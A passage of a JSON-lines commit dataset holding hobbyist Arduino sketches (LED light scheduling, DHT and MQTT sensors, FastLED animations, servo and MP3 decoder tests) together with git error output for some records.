notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE. \n *\/\n\n#include <Wire.h>\n#include <RTClib.h>\n\n\/\/ ----------------------- Pins ----------------------- \n\/\/ PWM Pins\n\/\/ Please note: Some PWM pins should not be used for lights -\n\/\/ On the Uno these are pins 5 and 6. They do not behave like the others\n\/\/ due to some shared timers!\n#define L1Pin 9\n#define L2Pin 10\n\/\/ ... and so on\n\n\/\/ ----------------------- Named Values ----------------------- \n#define CHANNELS 2\t\t\/\/ Number of channels, change if more are required\n#define MAXPERIODS 5\t\/\/ Max number of light periods, change if more are required\n\n\/\/ These are just used to make the lookup code more easily readable:\n#define START_H 0\n#define START_M 1\n#define END_H 2\n#define END_M 3\n#define INTENSITY 4\n\n\/\/ ----------------------- Variables ----------------------- \n\/\/ RTC\nRTC_DS1307 RTC;\n\n\/\/ Time\nint Hours, Minutes, Seconds;\n\n\/\/ ----------------------- Lights ----------------------- \n\/\/ Light period format: {HourStart, MinuteStart, HourEnd, MinuteEnd, Intensity}\n\n\/\/ Gap between light periods is used to fade\/increase intensity gradually\n\/\/ Example: {0, 0, 8, 0, 0}, {8, 30, 11, 0, 255} ...\n\/\/ Explanation: \n\/\/ 00:00 - 08:00 -> Light OFF\n\/\/ 08:00 - 08:30 -> Increment light towards desired intensity\n\/\/ 08:30 - 11:00 -> Light Fully ON\n\n\/\/ Min intensity value: 0 (OFF)\n\/\/ Max intensity value: 255 (Fully ON)\n\/\/ First StartTime value MUST be 00:00\n\/\/ SOME EndTime value MUST be 24:00\n\n\/\/ Any row ending with 24:00 will be considered last.\n\/\/ Not all periods must be filled with meaningfull values for each channel.\n\/\/ Periods must always be chronological and without overlaps.\n\/\/ There must always be rows defined for the max number of periods, but not all have to be valid\n\/\/ Example: {{0, 0, 24, 0, 255},{0, 0, 0, 0, 0},{0, 0, 0, 0, 0},{0, 0, 0, 0, 0}}\n\/\/ Explanation: \n\/\/ Channel is ALWAYS FULLY ON. \n\/\/ As the first period never ends, the remaining rows are only there to fill out the necessary space. \n\n\/\/ Add more timing tables if more channels are added\n\nint lightMatrix[CHANNELS][MAXPERIODS][5] = \n{\n\t{\n\t\t{0, 0, 8, 0, 0},\n\t\t{8, 30, 11, 0, 255},\n\t\t{11, 10, 13, 0, 0},\n\t\t{13, 10, 20, 0, 255},\n\t\t{20, 30, 24, 0, 0}\n\t},{\n\t\t{0, 0, 7, 45, 0},\n\t\t{8, 0, 11, 0, 255},\n\t\t{11, 10, 13, 0, 0},\n\t\t{13, 10, 20, 30, 255},\n\t\t{20, 45, 24, 0, 0}\n\t}\n\t\/\/ ... and so on\n};\n\n\/\/ Current light intensity table\n\/\/ Number of values should match number of channels (i.e. {0,0,0} for 3 channels)\nint lightValue[CHANNELS] = {0, 0};\n\n\/\/ ----------------------- Functions ----------------------- \nvoid UpdateLights(long seconds)\t\t\/\/ Update light intensity values\n{\n\tfor(int channel = 0; channel < CHANNELS; channel++) { \t\t\/\/ For each Channel\n\t\tfor(int period = 0; period < MAXPERIODS; period++) { \/\/ For each possible period\n\t\t\tlong pEnd = GetSeconds(lightMatrix[channel][period][END_H], lightMatrix[channel][period][END_M], 0);\t\/\/ Get period end time in seconds\n\t\t\tif(pEnd >= seconds) {\t\t\t\t\/\/ Period is currently happening\n\t\t\t\tlightValue[channel] = lightMatrix[channel][period][INTENSITY];\t\/\/ Set light to defined value\n\t\t\t\tbreak;\t\t\/\/ Found correct period, don't check the rest\n\t\t\t} else {\t\t\/\/ Period has not yet happened\n\t\t\t\tlong pNextStart = GetSeconds(lightMatrix[channel][period+1][START_H], lightMatrix[channel][period+1][START_M], 0); \/\/ Get next period start time in seconds\n\t\t\t\tif(pNextStart > seconds) {\t\t\t\t\t\/\/ Currently in between periods\n\t\t\t\t\tint preVal = lightMatrix[channel][period][INTENSITY];\t\t\/\/ Old light value\n\t\t\t\t\tint postVal = lightMatrix[channel][period+1][INTENSITY];\t\/\/ New light value\n\t\t\t\t\tint tDur = pNextStart - pEnd; \t\t\t\/\/ Transition duration\n\t\t\t\t\tint intensityDiff = postVal - preVal;\t\/\/ Difference in light intesity between periods\n\t\t\t\t\tif(intensityDiff > 0) {\t\t\/\/ Intensity increasing\n\t\t\t\t\t\tlightValue[channel] = (int)((seconds - pEnd) * ((float)intensityDiff \/ tDur));\t\t\/\/ Light value\n\t\t\t\t\t} else {\t\t\t\t\t\/\/ Intensity decreasing\n\t\t\t\t\t\tlightValue[channel] = preVal - (int)((seconds - pEnd) * ((float)(0-intensityDiff) \/ tDur));\t\/\/ Light value\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\t\/\/ Found correct period, don't check the rest\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nlong GetSeconds(int hours, int minutes, int seconds)\t\/\/ Convert HH:mm:ss -> Seconds since midnight\n{\n\treturn ((long)hours * 60 * 60) + (minutes * 60) + seconds ;\n}\n\n\/\/ ----------------------- Setup ----------------------- \nvoid setup()\n{\n\t\/\/ Set analog pins\n\tpinMode(L1Pin, OUTPUT);\n\tpinMode(L2Pin, OUTPUT);\n\t\/\/ ... and so on\n\n\t\/\/ Clock\n\tWire.begin();\n\tRTC.begin();\n\t\/\/RTC.adjust(DateTime(__DATE__, __TIME__)); \/\/ Set RTC time, only use for 1 (ONE) run. Will reset time at each device reset!\n}\n\n\/\/ ----------------------- Loop ----------------------- \nvoid loop(){\n\t\/\/ Get Time\n\tDateTime now = RTC.now();\n\tHours = now.hour();\n\tMinutes = now.minute();\n\tSeconds = now.second();\n \n\t\/\/ Update actual light intensity to match values defined in lightValue[]\n\tUpdateLights(GetSeconds(Hours, Minutes, Seconds));\n\tanalogWrite(L1Pin, lightValue[0]);\n\tanalogWrite(L2Pin, lightValue[1]);\n\t\/\/ ... and so on\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/LightController\/LightController.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"2b3e78b0c1b65d8e17a0042525315f69a2aafc34","subject":"first commit of adaptive and configurable wemos dht sensor","message":"first commit of adaptive and configurable wemos dht sensor\n","repos":"jussikin\/homeAutomation,jussikin\/homeAutomation,jussikin\/homeAutomation,jussikin\/homeAutomation","old_file":"Arduino\/AdaptiveDHTWemosMiniMQTSensor\/AdaptiveDHTWemosMiniMQTSensor.ino","new_file":"Arduino\/AdaptiveDHTWemosMiniMQTSensor\/AdaptiveDHTWemosMiniMQTSensor.ino","new_contents":"#include <DHT.h>\n#include \"config.h\"\n#include <PubSubClient.h>\n#include <ESP8266WiFi.h>\n\n#define SECONDS_DS(seconds) ((seconds)*1000000UL)\n\nWiFiClient espClient;\nPubSubClient client(espClient);\nDHT dht(DHTPIN, DHTTYPE);\n\nlong lastMsg=0;\nint value =0;\nconst char* mqtt_server = MQTTSERVER;\nchar msg[71];\nchar str_humidity[10], str_temperature[10];\n\nvoid setup()\n{\n pinMode(D0, WAKEUP_PULLUP);\n setup_wifi();\n float h = dht.readHumidity();\n\n}\n\n\nvoid setup_wifi() {\n WiFi.begin(WIFINETWORK, WIFIPASSWORD);\n client.setServer(mqtt_server, 1883);\n}\n\nvoid reconnect() {\n while (!client.connected()) {\n String clientId = \"ESP8266Client-\";\n clientId += String(random(0xffff), HEX);\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str())) {\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n dtostrf(h, 1, 2, str_humidity);\n dtostrf(t, 1, 2, str_temperature);\n snprintf (msg, 75, \"1,%s,%s\",str_humidity,str_temperature);\n client.publish(MQTOPIC, msg);\n int time=55;\n if(ADAPTIVECLAUSE)\n time=time*ADAPTIVEMULTIPLIER;\n delay(3000);\n ESP.deepSleep(SECONDS_DS(time));\n } else {\n delay(2000);\n }\n }\n}\n\nvoid loop() {\n if (!client.connected()) {\n reconnect();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/AdaptiveDHTWemosMiniMQTSensor\/AdaptiveDHTWemosMiniMQTSensor.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"e6daed64a81e6c7c929be386ebafdbb5ef81abe7","subject":"Added sensor code.","message":"Added sensor code.\n","repos":"swtrh\/IntelligentPlant,swtrh\/IntelligentPlant,swtrh\/IntelligentPlant,swtrh\/IntelligentPlant,swtrh\/IntelligentPlant","old_file":"sensors\/plantSensors.ino","new_file":"sensors\/plantSensors.ino","new_contents":"#include<Wire.h>\n#include \"DHT11.h\"\n\n#define moistureSensor 5\n#define tempSensor 4\n#define DHT11PIN 8 \n#define lightSensor 3\n\ndht11 DHT11;\n\nvoid setup() {\n \/\/ Serial Begin so we can see the data from the mosture sensor in our serial input window. \n Serial.begin(9600);\n}\n\ndouble Thermistor(int RawADC) {\n double temp;\n temp = log(((10240000\/RawADC) - 10000)); \n temp = 1 \/ (0.001129148 + (0.000234125 + (0.0000000876741 * temp * temp ))* temp );\n temp = temp - 273.15; \n return temp;\n}\n\nvoid loop() {\n Serial.println(\"Sensor data\");\n Serial.println(\"--------------------\");\n \n \/\/ read the input on analog pin 0:\n int moistureValue = analogRead(moistureSensor);\n Serial.print(\"Moisture: \");\n Serial.println(moistureValue);\n\n int tempValue=analogRead(tempSensor);\n double temp = Thermistor(tempValue);\n Serial.print(\"Temp. : \");\n Serial.print(temp); \n Serial.println(\" Celsius\");\n\n int chk = DHT11.read(DHT11PIN);\n\n switch (chk) {\n case DHTLIB_OK: \n Serial.print(\"Humidity (%): \");\n Serial.println((float)DHT11.humidity, 2);\n Serial.print(\"Temp. (oC): \");\n Serial.println((float)DHT11.temperature, 2);\n break;\n case DHTLIB_ERROR_CHECKSUM: \n Serial.println(\"Checksum error\"); \n break;\n case DHTLIB_ERROR_TIMEOUT: \n Serial.println(\"Time out error\"); \n break;\n default: \n Serial.println(\"Unknown error\"); \n break;\n }\n\n int lightValue = analogRead(lightSensor);\n Serial.print(\"Light: \");\n Serial.println(lightValue);\n \n delay(1000); \/\/ delay 1 second between reads\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensors\/plantSensors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"956124e5cf8d4c23b36497dda4fdf47fe721824d","subject":"Create multiple_animations.ino","message":"Create multiple_animations.ino","repos":"marmilicious\/FastLED_examples","old_file":"multiple_animations.ino","new_file":"multiple_animations.ino","new_contents":"\/*********************************************************************\/\n\/\/ Example of running multiple animations\/patterns at the same time\n\/\/ on different parts of the same LED strip. Seperate \"working\" or\n\/\/ \"temporary\" arrays are used for each section. Whenever one of\n\/\/ these working arrays is updated then the data is copied to the\n\/\/ \"leds\" array so it can be displayed.\n\/\/\n\/\/ Animation A [ledsA] is running a chase effect.\n\/\/ Animation B [ledsB] is cycling through the rainbow.\n\/\/ Animation C [ledsC] is running a scanner\/cylon type effect.\n\/\/ Animation D [ledsD] is lighting up random pixels.\n\/\/\n\/\/ Note that there is only one FastLED.show() call in the program.\n\/\/\n\/\/\n\/\/ Marc Miller, April 2019\n\/*********************************************************************\/\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define COLOR_ORDER GRB\n#define MASTER_BRIGHTNESS 255\n\n#define NUM_LEDS 32\n\n\/\/Note: numA thru numD values must add up to NUM_LEDS\n#define numA 5 \/\/pixels 0-4\n#define numB 3 \/\/pixels 5-7\n#define numC 16 \/\/pixels 8-23\n#define numD 8 \/\/pixels 24-31\n\nCRGB leds[NUM_LEDS]; \/\/what actually gets displayed\nCRGB ledsA[numA]; \/\/numA thru numD are \"working\" arrays\nCRGB ledsB[numB];\nCRGB ledsC[numC];\nCRGB ledsD[numD];\n\n\n\/*********************************************************************\/\nvoid setup() {\n Serial.begin(115200); \/\/allow for output to serial monitor\n delay(2500); \/\/power up delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n FastLED.clear();\n Serial.println(\"setup done\");\n}\/\/end_setup\n\n\n\/*********************************************************************\/\nvoid loop() {\n\n \/\/--------------Animation A--------------\n static uint8_t color;\n EVERY_N_MILLISECONDS(180) {\n fadeToBlackBy( ledsA, numA, 230);\n static uint8_t i = 0;\n ledsA[i] = CHSV( color+random8(0,10), 160, 255 );\n i++;\n if (i == numA) { i = 0; } \/\/reset\n\n \/\/copy ledsA data to leds\n for (uint8_t i=0; i<numA; i++) { leds[i] = ledsA[i]; }\n }\n\n EVERY_N_SECONDS(2) {\n color = random8(); \n }\n\n\n \/\/--------------Animation B--------------\n const uint8_t delta = 255\/numB\/5;\n static uint8_t count;\n EVERY_N_MILLISECONDS(60) { count++; }\n fill_rainbow(ledsB, numB, count, -1*delta );\n\n \/\/copy ledsB data to leds\n for (uint8_t i=0; i<numB; i++) { leds[i+numA] = ledsB[i]; }\n\n\n \/\/--------------Animation C--------------\n for (uint8_t i=0; i<numC; i++) {\n uint8_t blue = (millis()\/30)+(i*3);\n if (blue < 128) {\n ledsC[i] = CRGB(200, 0, 0);\n } else {\n ledsC[i] = CRGB(50, 0, blue);\n }\n }\n fadeToBlackBy( ledsC, numC, 220);\n uint8_t pos = beatsin8(20,0,numC-1);\n ledsC[pos] = CRGB::Green;\n\n \/\/copy ledsC data to leds\n for (uint8_t i=0; i<numC; i++) { leds[i+numA+numB] = ledsC[i]; }\n\n \n \/\/--------------Animation D--------------\n EVERY_N_MILLISECONDS(400) {\n for (uint8_t i=0; i<3; i++) { \/\/lightup some random pixels\n uint8_t pick = random8(numD);\n static uint8_t hue;\n ledsD[pick] = CHSV( hue, random8(128,200), random8(200,255) );\n hue = hue + random8(4,8);\n }\n \n \/\/copy ledsD data to leds\n for (uint8_t i=0; i<numD; i++) { leds[i+numA+numB+numC] = ledsD[i]; }\n }\n\n EVERY_N_MILLISECONDS(200) {\n uint8_t pick = random8(numD);\n ledsD[pick] = CRGB::Black;\n\n \/\/copy ledsD data to leds\n for (uint8_t i=0; i<numD; i++) { leds[i+numA+numB+numC] = ledsD[i]; }\n }\n\n\n\n \/\/display all the updates on leds array\n FastLED.show();\n\n}\/\/end_main_loop\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'multiple_animations.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"46d7f6f9db432610bedf179755a997babbecd50a","subject":"Add serial output","message":"Add serial output\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_101\/arduino_101.ino","new_file":"arduino_101\/arduino_101.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"02bdae56e8607db3c730b58c55f0b96a41cde6b3","subject":"message","message":"message\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e5ab681e0e0da9b99cfa05fd86b3d5c07e62cf4f","subject":"Added the actual code.","message":"Added the actual code.\n","repos":"jbeyers\/lissajous,jbeyers\/lissajous,jbeyers\/lissajous","old_file":"code\/lissajous\/lissajous.ino","new_file":"code\/lissajous\/lissajous.ino","new_contents":"\/\/ Sweep\n\/\/ by BARRAGAN <http:\/\/barraganstudio.com> \n\/\/ This example code is in the public domain.\n\n\n#include <Servo.h> \n \nServo servox; \/\/ create servo object to control a servo \nServo servoy; \/\/ a maximum of eight servo objects can be created \n \ndouble pos = 0; \/\/ variable to store the servo position \nfloat spd = 0.005;\nfloat facter = 1.0;\nfloat starter = 0;\nint adjx = 90;\nint adjy = 90;\nfloat decay = 60000;\n \nvoid setup() \n{ \n servox.attach(9); \/\/ attaches the servo on pin 9 to the servo object \n servoy.attach(10); \/\/ attaches the servo on pin 10 to the servo object \n pinMode(2, INPUT_PULLUP);\n randomSeed(analogRead(0));\n} \n \n \nvoid loop() \n{ \n while (digitalRead(2) != 0)\n {\n delay(10);\n facter = random(2001, 2021)\/1000.0;\n starter = random(3141)\/1000.0;\n }\n for(pos = 0; pos < decay*0.9; pos += 1) \n { \n adjx = int(90 + int(70 * (1 - pos\/decay) * sin(pos * spd)));\n adjy = int(90 + int(70 * (1 - pos\/decay) * sin(starter + (pos * spd * facter))));\n servox.write(adjx);\n servoy.write(adjy);\n delay(1); \/\/ waits 15ms for the servo to reach the position \n } \n servox.write(90);\n servoy.write(90);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/lissajous\/lissajous.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95909b65e470615bcfd3d72999fa7d2512788e0a","subject":"firmware: consistent logging & de-cruft","message":"firmware: consistent logging & de-cruft\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"31bdcea4fff70ea366156f0e1be94087c37d2992","subject":"Create mp3due.ino","message":"Create mp3due.ino\n\ntest of library working on ... (glichy)","repos":"DrNCXCortex\/arduino_due_mp3decoder_lib_dev","old_file":"mp3due.ino","new_file":"mp3due.ino","new_contents":"\/\/#include <avr\/pgmspace.h>\n\n#define PCM_BUFBYTES 3000U \/\/ more than enough to cover the largest that one packet will ever expand to\n\n#include \"mp3due.h\"\n#include \"riddle.h\"\n\n#define sboolean int \/\/rww - argh (in SP qboolean type is merely #define'd as an int, but I do not want to do that for MP over the whole base)\n#define qtrue true\n#define qfalse false\n\n\n\nbyte raw_buffer[8192]; \/\/8kB\n\n\n\n\/**************************************************************************************************************************************************************************\/\n\n\n\/\/ fake cvar stuff\n \/\/\n typedef struct\n {\n int integer;\n } cvar_t;\n\n\n\n\n\/\/ expects data already loaded, filename arg is for error printing only\n\/\/\n\/\/ returns success\/fail\n\/\/\nsboolean MP3_IsValid( const char *psLocalFilename, void *pvData, int iDataLen, sboolean bStereoDesired \/* = qfalse *\/)\n{\n char *psError = C_MP3_IsValid(pvData, iDataLen, bStereoDesired);\n if (psError)\n {\n Serial.print(sprintf(\"%s(%s)\\n\",psError, psLocalFilename));\n }\n return !psError;\n}\n\n\/\/ expects data already loaded, filename arg is for error printing only\n\/\/\n\/\/ returns unpacked length, or 0 for errors (which will be printed internally)\n\/\/\nint MP3_GetUnpackedSize( const char *psLocalFilename, void *pvData, int iDataLen, sboolean qbIgnoreID3Tag \/* = qfalse *\/ , sboolean bStereoDesired \/* = qfalse *\/ )\n{\n int iUnpackedSize = 0; \n\n \/\/ always do this now that we have fast-unpack code for measuring output size... (much safer than relying on tags that may have been edited, or if MP3 has been re-saved with same tag)\n \/\/\n if (1)\/\/qbIgnoreID3Tag || !MP3_ReadSpecialTagInfo((byte *)pvData, iDataLen, NULL, &iUnpackedSize))\n { \n char *psError = C_MP3_GetUnpackedSize( pvData, iDataLen, &iUnpackedSize, bStereoDesired);\n\n if (psError)\n {\n Serial.print(sprintf(\"%s\\n(File: %s)\\n\",psError, psLocalFilename));\n return 0;\n }\n } \n\n return iUnpackedSize;\n}\n\n\/\/ expects data already loaded, filename arg is for error printing only\n\/\/\n\/\/ returns byte count of unpacked data (effectively a success\/fail bool)\n\/\/\nint MP3_UnpackRawPCM( const char *psLocalFilename, void *pvData, int iDataLen, void *pbUnpackBuffer, sboolean bStereoDesired \/* = qfalse *\/)\n{\n int iUnpackedSize;\n char *psError = C_MP3_UnpackRawPCM( pvData, iDataLen, &iUnpackedSize, pbUnpackBuffer, bStereoDesired);\n\n if (psError)\n {\n Serial.print(sprintf(\"%s\\n(File: %s)\\n\",psError, psLocalFilename));\n return 0;\n }\n\n return iUnpackedSize;\n}\n\n\n\/\/ psLocalFilename is just for error reporting (if any)...\n\/\/\nsboolean MP3Stream_InitPlayingTimeFields( LP_MP3STREAM lpMP3Stream, const char *psLocalFilename, void *pvData, int iDataLen, sboolean bStereoDesired \/* = qfalse *\/)\n{\n sboolean bRetval = qfalse;\n\n int iRate, iWidth, iChannels;\n\n char *psError = C_MP3_GetHeaderData(pvData, iDataLen, &iRate, &iWidth, &iChannels, bStereoDesired );\n if (psError)\n {\n \/\/Com_Printf(va(S_COLOR_RED\"MP3Stream_InitPlayingTimeFields(): %s\\n(File: %s)\\n\",psError, psLocalFilename));\n Serial.print(sprintf(\"MP3Stream_InitPlayingTimeFields(): %s\\n(File: %s)\\n\",psError, psLocalFilename));\n }\n else\n {\n int iUnpackLength = MP3_GetUnpackedSize( psLocalFilename, pvData, iDataLen, qfalse, \/\/ sboolean qbIgnoreID3Tag \n bStereoDesired);\n if (iUnpackLength)\n {\n lpMP3Stream->iTimeQuery_UnpackedLength = iUnpackLength;\n lpMP3Stream->iTimeQuery_SampleRate = iRate;\n lpMP3Stream->iTimeQuery_Channels = iChannels;\n lpMP3Stream->iTimeQuery_Width = iWidth;\n\n bRetval = qtrue;\n }\n }\n\n return bRetval;\n}\n\nfloat MP3Stream_GetPlayingTimeInSeconds( LP_MP3STREAM lpMP3Stream )\n{\n if (lpMP3Stream->iTimeQuery_UnpackedLength) \/\/ fields initialised?\n return (float)((((double)lpMP3Stream->iTimeQuery_UnpackedLength \/ (double)lpMP3Stream->iTimeQuery_SampleRate) \/ (double)lpMP3Stream->iTimeQuery_Channels) \/ (double)lpMP3Stream->iTimeQuery_Width);\n\n return 0.0f;\n}\n\n\/*\nfloat MP3Stream_GetRemainingTimeInSeconds( LP_MP3STREAM lpMP3Stream )\n{\n if (lpMP3Stream->iTimeQuery_UnpackedLength) \/\/ fields initialised?\n return (float)(((((double)(lpMP3Stream->iTimeQuery_UnpackedLength - (lpMP3Stream->iBytesDecodedTotal * (lpMP3Stream->iTimeQuery_SampleRate \/ dma.speed)))) \/ (double)lpMP3Stream->iTimeQuery_SampleRate) \/ (double)lpMP3Stream->iTimeQuery_Channels) \/ (double)lpMP3Stream->iTimeQuery_Width);\n\n return 0.0f;\n}*\/\n\n\n\nvoid setup() {\n \n Serial.begin(9600); \n if (MP3_IsValid( \"riddle.mp3\", riddle, riddle_size, false)) Serial.println(\"mp3 has valid format.\");\n\n Serial.print( MP3_GetUnpackedSize( \"riddle.mp3\", riddle, riddle_size, true, false) );\n\n \/\/Serial.print( MP3Stream_GetPlayingTimeInSeconds\n\n Serial.print( MP3_UnpackRawPCM( \"riddle.mp3\", riddle, riddle_size, raw_buffer, false));\n \n\/* int iUnpackedSize;\n Serial.print( C_MP3_UnpackRawPCMSector(riddle, riddle_size, &iUnpackedSize, raw_buffer, false));\n\n Serial.println();\n Serial.print(\"Total unpacked size:\");\n Serial.println(iUnpackedSize);\n\n\n\n \/*for (int tmp=0;tmp<sizeof(look_u);tmp++) {\n Serial.print(look_u[tmp]); \n if (tmp%64==0) Serial.println();\n }*\/\n\n for (int tmp=0;tmp<sizeof(raw_buffer);tmp++) {\n Serial.print(raw_buffer[tmp]); \n if (tmp%64==0) Serial.println();\n }\n\n}\n\n \nvoid loop() {\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mp3due.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"12d8554e98bef87cf22f970d13da42c6823fbbd6","subject":"ok in theory we can set the 4361 virutal endstop registers \u2026","message":"ok in theory we can set the 4361 virutal endstop registers \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC4361.ino","new_file":"ArduinoClient\/TMC4361.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"be44ab645aa05c631d4a213c61f258ef7130c3ea","subject":"Start a blink example","message":"Start a blink example\n","repos":"YourproductSmarter\/KISSLoRa-demo,YourproductSmarter\/KISSLoRa-demo","old_file":"Examples\/Blink\/Blink.ino","new_file":"Examples\/Blink\/Blink.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the UNO, MEGA and ZERO \n it is attached to digital pin 13, on MKR1000 on pin 6. LED_BUILTIN is set to\n the correct LED pin independent of which board is used.\n If you want to know what pin the on-board LED is connected to on your Arduino model, check\n the Technical Specs of your board at https:\/\/www.arduino.cc\/en\/Main\/Products\n \n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n \n modified 2 Sep 2016\n by Arturo Guadalupi\n \n modified 8 Sep 2016\n by Colby Newman\n*\/\n\n\/\/#define LED_BLUE PB7\n#define LED_BLUE PD4\n#define LED_RED PD6\n#define LED_GREEN PD7\n#define LED_LORA PB4\n\n\/\/ For Bitvise Operation Simplification Defines\n#define CLR(port,pin) (PORT ## port &= ~(1<<pin))\n#define SET(port,pin) (PORT ## port |= (1<<pin))\n#define TOGL(port,pin) (PORT ## port ^= (1<<pin))\n#define READ(port,pin) (PIN ## port & (1<<pin))\n#define OUT(port,pin) (DDR ## port |= (1<<pin))\n#define IN(port,pin) (DDR ## port &= ~(1<<pin))\n#define PUP(port,pin) (DDR ## port &= ~(1<<pin));(PORT ## port |= (1<<pin))\n#define BIT(x) _BV(x)\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n OUT(B,4);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n SET(B,4);\n delay(1000); \/\/ wait for a second\n CLR(B,4);\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Examples\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abf344f62282c0d26d40c903ca033059f1634221","subject":"Tiny bringup sketch for people with DIY hardware","message":"Tiny bringup sketch for people with DIY hardware\n","repos":"jamesbowman\/gd2-lib,jamesbowman\/gd2-lib,jamesbowman\/gd2-lib","old_file":"bringup0.ino","new_file":"bringup0.ino","new_contents":"#include <SPI.h>\n\nint CS = 8;\n\nstatic void hostcmd(byte a)\n{\n digitalWrite(CS, LOW);\n SPI.transfer(a);\n SPI.transfer(0x00);\n SPI.transfer(0x00);\n digitalWrite(CS, HIGH);\n delay(200);\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n pinMode(CS, OUTPUT);\n digitalWrite(CS, HIGH);\n SPI.begin();\n SPI.setClockDivider(SPI_CLOCK_DIV128);\n\n Serial.println(\"SPI INIT DONE\");\n\n hostcmd(0x00); \/\/ wake up\n hostcmd(0x68); \/\/ reset GPU\n}\n\nvoid loop()\n{\n digitalWrite(CS, LOW);\n Serial.println();\n Serial.println(SPI.transfer(0x10), HEX);\n Serial.println(SPI.transfer(0x24), HEX);\n Serial.println(SPI.transfer(0x00), HEX);\n Serial.println(SPI.transfer(0xff), HEX);\n Serial.println(SPI.transfer(0xff), HEX);\n Serial.println(SPI.transfer(0xff), HEX);\n digitalWrite(CS, HIGH);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bringup0.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"fdb344161d4e2ed1b34d12a6eab19f62a8b5e8a1","subject":"Added \"Packeted_433_Coms\" to Comms","message":"Added \"Packeted_433_Coms\" to Comms\n\nArduino .ino containing functions for utilising 433MHz communications\nwith the RadioHead library. Also included some example 